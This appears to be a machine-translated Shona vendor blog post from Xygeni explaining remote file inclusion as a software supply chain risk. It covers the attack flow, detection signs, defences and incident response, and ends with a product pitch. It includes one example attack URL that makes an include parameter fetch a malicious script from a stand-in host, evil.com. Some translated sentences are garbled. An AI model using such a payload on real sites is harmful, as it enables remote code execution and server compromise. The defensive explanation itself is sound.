Sei Kubatanidzwa Kwemafaira Ari Kure Kuchikosha MuSoftware Supply Chain?
Chii chinonzi Kubatanidzwa Kwemafaira Ari Kure?
Kunzwisisa kuti chii chinonzi kubatanidzwa kwemafaira ari kure kwakakosha kune vagadziri vari kutsvaga kuchengetedza maapplication avo pakutanga kweSoftware Development Life Cycle (SDLC). Kusagadzikana uku, uko kunowanzo regeredzwa, kunobvumira varwisi kuisa nekushandisa kodhi iri kure, vachiisa masisitimu ako uye pipelineari panjodzi.
Kubatanidzwa kwemafaira ari kure (RFI) idambudziko guru rekuchengetedza rinobvumira vapambi kuisa uye kuita mafaira ekunze paserver yako, kazhinji zvichikonzera kuitwa kwemakodhi ari kure (RCE). Muchokwadi, izvi zvinoreva kuti munhu ane hutsinye anogona kushandisa kodhi isina kurongeka munharaunda yako, kugadzira zvinhu zvine njodzi, kana kuisa zvinhu zvine njodzi mufaira rako. pipelineChinhu chinotanga sedambudziko diki rekusimbisa mashandisirwo esoftware chinogona kuva dambudziko guru rekugovera software.
Kunyange zvazvo RFI ichiwanzobatanidzwa nePHP, maitiro ari pasi apa, kurodha mafaira asina kuvimbika zvichibva pane zvinoiswa nemushandisi, anogona kukanganisa mitauro yakawanda yekuronga uye CI/CD Ndosaka kunzwisisa kusasimba uku kuchikosha kumapoka ekuvandudza emazuva ano, kunyanya kana kuchengetedzwa kuchifanira kuiswa kubva pakodhi kusvika pakuiswa.
Muzviitiko chaizvo, kurwiswa kwekushandiswa kwemafaira ari kure kwakakonzera kuitiswa kwemakodhi ari kure kusina mvumo, kubvumirana kwese kweseva, kuburitswa kwedata kwakavanzika, uye kutyorwa kwakanyanya kwemiganhu yekuvimba mumaketani ekupa masoftware. Kusagadzikana uku kunowanzo kukanganisa maapplication akavakirwa paPHP uye nzvimbo dzinoshanda dzekugadzirisa mafaira, kunyange hazvo mapatani akafanana anogona kuoneka mune mimwe mitauro yepurogiramu nemaframework. Ngationgororei zvakadzama kuti sei kunzwisisa chii chinonzi kubatanidzwa kwemafaira ari kure uye mashandiro azvo kunogona kubatsira kudzivirira njodzi dzekushandiswa kwemakodhi ari kure.
Kubatanidzwa Kwemafaira Ari Kure Kunoshanda Sei?
Kubatanidzwa kwemafaira ari kure (RFI) kunoitika kana application iine mafaira ekunze zvichienderana ne zvinongedzo zvemushandisi zvisina kunyatso simbiswa. Izvi zvinovhura mukana wekuti varwisi vabate kodhi yakaipa kubva kunzvimbo dziri kure, zvichikonzera kuurayiwa kwekodhi iri kure (RCE).
Mashandiro Anoita Kushandiswa Kwacho - Nhanho Nenhanho
- Mashoko Asina Kushandiswa: Chishandiso ichi chinoshandisa parameter yemubvunzo kana imwe nzira yekushandisa kuti chisarudze kuti faira ripi rinofanira kuiswa.
- Kubatanidzwa Kwemafaira Ari Kure: Kupinda ikoko kunoshandiswa zvakananga mubasa rekubatanidza mafaira (senge
include()muPHP), pasina kutarisa kwakabva kana kuti kushanda kwacho. - Remote Code Kuitwa: Kana mashoko acho achinongedzera kune script ine njodzi, sevha inoitora yoiisa munjodzi, zvichikanganisa system yacho.
Muenzaniso weKodhi yePHP inogona kukuvadzwa:
Mumuenzaniso uyu, murwisi anogona kushandisa parameter yepeji kuti ataure nezve URL yekunze ine njodzi, zvichiita kuti kodhi iri kure ishandiswe.
Nzira dzinoshandiswa pakuisa ma URL ari kure dzinosanganisira kupa ma URL ari kure se query parameters. Varwi vanochengeta ma script ane njodzi kunze uye vanogadzirisa ma URL akadai seizvi: http://example.com/index.php?page=http://evil.com/malicious.php
Mamiriro Ekurwisa
Chiitiko ichi chinoratidza kuti RFI inopfuura sei runtime code uye inokanganisa sei cheni yekugovera softwareKana zvinhu zvine njodzi zvadhonzwa mu pipeline, vapambi vanogona kukuvadza zvivako, kukanganisa mafungiro ekushandisa, kana kuburitsa zvakavanzika kubva munzvimbo dzinovimbwa.
- Kushandiswa kweWeb Shell: Varwisi vanoisa masherufu ewebhu ari kure, zvichiita kuti vagone kuwana masherufu ari kure nguva dzose.
- Kubata Malware: Maseva ekunze anounza malware kana cryptominers kuburikidza neRFI.
- Kuitwa kweKodhi mu Pipelines: Kana kushaya simba kweRFI kuchikanganisa masisitimu ekumashure kana zvivakwa zve otomatiki, mafaira ekunze akakanganisika anogona kushanda sezvinhu zvakagadzirwa zviri kure, zvichiisa software yese panjodzi. pipelines uye zvichikonzera kuitiswa kwekodhi iri kure kusingaonekwe mukati memabasa eDevOps.
Kuyerera kwakajairika kwekurwisa:
1. Murwisi anochengeta chinyorwa chine njodzi
2. Kugadziriswa kwema parameter e URL kunorayira application kutora nekushandisa iyi script iri kure
3. Seva inoshandisa kodhi isina kuvimbika, zvichikanganisa nharaunda yayo uye masisitimu anogona kunge ari pasi pemvura
Mukuvandudzwa kwakachengeteka, kuziva kuti chii chinonzi kuiswa kwemafaira ari kure kunogona kubatsira mapoka kudzivirira kuunza matambudziko akadaro pakutanga kwehupenyu hwesoftware.
Kuonekwa uye Zviratidzo zveKusagadzikana kweKubatanidzwa kweMafaira Ari Kure
Kuona zvikanganiso zvekushandiswa kwemafaira ari kure kunoda ongororo yekodhi isingachinji uye kutarisa maitiro. Sezvo RFI ichiwanzoshandisa maitiro emakodhi anoita seasina njodzi, mapoka ekugadzira nekuchengetedza anofanira kutarisa maitiro asina kuchengetedzeka ekunyora makodhi uye maitiro asina kujairika ekushanda anoratidza muganhu wekuvimba wakakanganiswa. Pazasi pane zviratidzo zvikuru zvekubatsira kuona njodzi dzeRFI pakutanga kwehupenyu hwesoftware yako.
- Zviratidzo zveKuongorora Kodhi:
- Kushandiswa kwekushandiswa kwemafaira ane simba pasina kusimbiswa kwakasimba kwekuisa
- Kubatanidzwa kwemafaira ari kure zvichibva pa URL parameters
- Zviratidzo zveMaitiro:
- Kufona kwezvishandiso zviri kure zvisingatarisirwi kubva kumaseva anovimbwa nawo
- Zvinyorwa zvinoratidza kuiswa kwemafaira ekunze
- Zvinyorwa zvisingawanzoitwa kubva munzira dzisiri dzemunharaunda, zvichiratidza miganhu yekuvimba yakakanganiswa
- Zvishandiso zveKuona:
- Kuongororwa Kwekuchengetedzwa Kwemashandisirwo Ekushandisa Kwakagadzika (Static Application Security Test)SAST)
- Kuedzwa kweDynamic Application Security (DAST)
- Kuongorora Kuumbwa kweSoftware (SCA)
- Kuonekwa kweAnomaly kune zvikumbiro zvekunze zvisingawanzoitiki.
A Deep Dive into CI/CD PipelineKusagadzikana
Tarisa nhevedzano yedu yezvinyorwa zveblog paPoisoned Pipeline Kuuraya (PPE)
Njodzi uye Mhedzisiro yeBhizinesi
- Data Exfiltration: Ruzivo rwakakosha runogona kutorwa kuburikidza nema scripts ane njodzi ari kure
- Kubvumirana kweSevha: RFI inowanzoita kuti server itore simba rayo rese
- Jekiseni reArtifact Rinokuvadza Remote: Kana murwisi angobaya chinhu chiri kure, kuvaka uye kupararira kwechinhu ichi kunogona kukonzera kusvibiswa
- Miganhu yeTrust Yakatyorwa: CI/CD pipelinekuita kusavimbika kwekodhi yekuputsa core supply chain integrity
- Ngozi dzekutevedzera: Kusatevedzera GDPR, PCI DSS, nezvimwe standards nekuda kwekusakwana kwemaitiro ekuchengetedza makodhi
Matekiniki ekudzivirira eVagadziri
Pano uchawana runyorwa rwemamwe maitiro ekudzivirira anogona kukubatsira:
Kusimbiswa Kwezvinhu Zvinoiswa uye Kuchenesa
- Kunyorwa kwakasimba kwenzira dzemafaira dzinogamuchirwa
- Kudzivirira nzira dzefaira dzinoshanduka pese pazvinogoneka
- Kusimbiswa kweMIME/rudzi uye kusimbiswa kwekuwedzera kwemafaira akachengeteka
- Shandisa maraibhurari ekusimbisa zvinyorwa zvinoenderana nemutauro
Chengetedza Coding Maitiro
- Dzima kuiswa kwemafaira ari kure uchishandisa magadzirirwo akaita se allow_url_include=Yadzimwa (PHP)
- Simbisa nzira dzakakwana, dzakasimbiswa, dzemunharaunda dzese dzinosanganisirwa mafaira
- Shandisa musimboti wekodzero shoma munzvimbo dzese dzekushandisa
- Vhara zviwanikwa zviri kure zvisina kusaina kana kusavimbwa
DevSecOps uye CI/CD Guardrails
- Shandisa static uye dynamic scanning mukati CI/CD pipelines
- sika guardrails kuona nekuvhara ma inclusions emafaira ari kure
- Shandisai mitemo yakasimba yekodhi kuti murege kushandisa mafaira ane simba uye asina kusimbiswa
- Tarisa maitiro ekuvaka ezvikumbiro zvekunze zvisina kutenderwa
Maitiro ekudzivirira kumhanya
- Shandisa Web Application Firewalls (WAFs) kudzivirira zvikumbiro zvine hutsinye
- Shandisa nguva dzose kuona zvinhu zvisina kujairika uye kutarisa kuchengetedzeka
- Ita ongororo dzemakodhi nguva dzose uye bvunzo dzekupinda dzinotarisa kuchengetedzeka
Kupindura Kwakaitika
Zvekuita Kana Kubatanidzwa Kwemafaira Ari Kure Kwakashandiswa Zvisina Kunaka?
Tevedzera matanho aya:
- Bvisa maseva kana masevhisi akabatwa nekukasika
- Ongorora magwaro kuti utevere zviito zvevanorwisa uye uone zviwanikwa zvakakanganiswa
- Batanidza kodhi isina kusimba uye gadzirisazve maapplication akakanganiswa
- Ita ongororo yezvekuferefeta kuti uone kuti mhedzisiro yenyaya dziri pasi pemvura ndeyechokwadi pipeline Components
- Simbisa kudzora kudzivirira kudzokazve kwechirwere
Saka, Tora Kubatanidzwa Kwemafaira Ari Kure Sengozi Yekutengeswa KweSoftware
Zvino zvawava kuziva chinonzi remote file inclusion, hauchafaniri kuiona sedambudziko riri nyore rekunyora macode. Inzira yakakosha inogona kuisa zvinhu zvakaipa uye kuputsa miganhu yekuvimba musoftware yako. pipelineNekukanganisa maseva ekumashure kana CI/CD maitiro, RFI inobvumira varwisi kukanganisa kuvaka, kuunza shanduko dzisina mvumo, uye kuparadzira kodhi yakakanganiswa pasi. Kuregeredza njodzi dzekushandisa kodhi dziri kure dzinobva kuRFI kunogona kusiya chain yako yekugovera iri panjodzi.
Masangano anofanirwa kuisa matanho ekudzivirira RFI mukati menguva yese SDLC uye CI/CD mafambiro ebasa. Izvi zvinosanganisira ongororo isingachinji uye inochinja-chinja, kusimbiswa kwezvinopinzwa, kuomeswa kwezvivakwa, uye kutariswa nguva dzose. Dzidzo yevagadziri uye maitiro ekuchengetedza akakosha kudzivirira kubva kuRFI uye kurwiswa kwakabatana neketani yekugovera.
Chekupedzisira asi chisiri chidiki, kuchengetedza macheni emazuva ano ekupa software kunoda kungwarira kubva pakusagadzikana kwakadai sekuiswa kwemafaira ari kure uko kunogona kuwedzera kubva pakukanganisa kuri nyore kuenda ku pipeline-kubvumirana kwakasiyana-siyana, zvichikonzera njodzi dzekushandisa makodhi ari kure.
Unoda kudzidza kubva kune nyanzvi dzepamusoro dzekuchengetedza cybersecurity here? Tarisa SafeDev Talk yedu pa Kusagadzikana Kusingaperi, Dziviriro Dzakangwara - Kufamba Nenjodzi Yemazuva Ano Yesoftware paYouTube!
Mashandisirwo Anogona kuitwa Xygeni
Xygeni inopa dziviriro yekudzivirira kubva pakurwiswa kweRFI nekuisa zvidziviriro zvekuchengetedza panguva chaiyo mukati menguva yako yese CI/CD pipelines:
- Inovhara zvinhu zvisingavimbike zviri kure padanho rekuvaka uchishandisa customizable guardrails.
- Inoona maitiro asina kujairika sekutora zvinhu zvekunze zvinofungirwa, kunyorwa kwescript kusingatarisirwi, kana zvinhu zvisiri kure zvisina kusainiwa.
- Inosimbisa kuvimbika kwakasimba kwezvigadzirwa nekusimbisa humbowo uye mavambo, zvichiita kuti kodhi yakavimbika chete ifambe nemu SDLC.
Monitors CI/CD magadzirirwo uye tsananguro dzebasa kudzivirira kusangana nenjodzi dzakaita seRFI nemaune muma build scripts kana ma plugins.
Nekuramba uchiongorora zvisizvo, kuongorora maitiro ekodhi, uye kusimbisa zvinhu zvakagadzirwa munguva chaiyo, Xygeni inomisa RFI nezvimwe zvinotyisidzira kuuraya zviri kure. vasati vasvika pakugadzirwa.
Kutanga yako yemahara muedzo uye ona kuti Xygeni inodzivirira sei chain yako yekupa software kubva pakurwiswa kweRFI nezvimwe zvakadaro.
